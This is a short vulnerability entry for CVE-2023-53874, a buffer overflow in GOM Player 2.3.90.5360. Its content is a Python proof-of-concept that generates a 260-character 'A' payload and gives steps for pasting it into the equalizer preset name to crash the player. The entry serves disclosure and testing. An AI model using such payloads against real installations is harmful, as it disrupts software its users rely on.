CVE-2023-53874 GOM Player均衡器预设名称缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2023-53874 PoC - GOM Player Buffer Overflow via Equalizer Preset Name # Author: VulnCheck # Description: This PoC demonstrates buffer overflow in GOM Player 2.3.90.5360 # by sending 260 'A' characters to the equalizer preset name field import sys def generate_bof_payload(): """ Generate buffer overflow payload for GOM Player equalizer preset name. The vulnerability is triggered when preset name contains 260+ characters. """ # Buffer size is 260 bytes, overflow occurs with 260 'A' characters overflow_length = 260 payload = 'A' * overflow_length return payload def main(): print("=" * 60) print("CVE-2023-53874 PoC - GOM Player Buffer Overflow") print("=" * 60) print(f"\nTarget: GOM Player 2.3.90.5360") print(f"Vulnerability: Buffer Overflow in Equalizer Preset Name") print(f"CVSS Score: 9.8 (Critical)") print("-" * 60) payload = generate_bof_payload() print(f"\nGenerated payload ({len(payload)} bytes):") print(f"First 50 chars: {payload[:50]}...") print(f"Last 10 chars: ...{payload[-10:]}") print("\n" + "-" * 60) print("Usage Instructions:") print("1. Open GOM Player 2.3.90.5360") print("2. Navigate to Audio > Equalizer") print("3. Create new preset or edit existing preset") print("4. Copy and paste the payload into the Preset Name field") print("5. Save the preset to trigger the buffer overflow") print("\nExpected Result: GOM Player application crash/termination") print("=" * 60) # Also output raw payload for file export print(f"\n[+] Raw payload ready for export: {len(payload)} bytes") return 0 if __name__ == "__main__": sys.exit(main())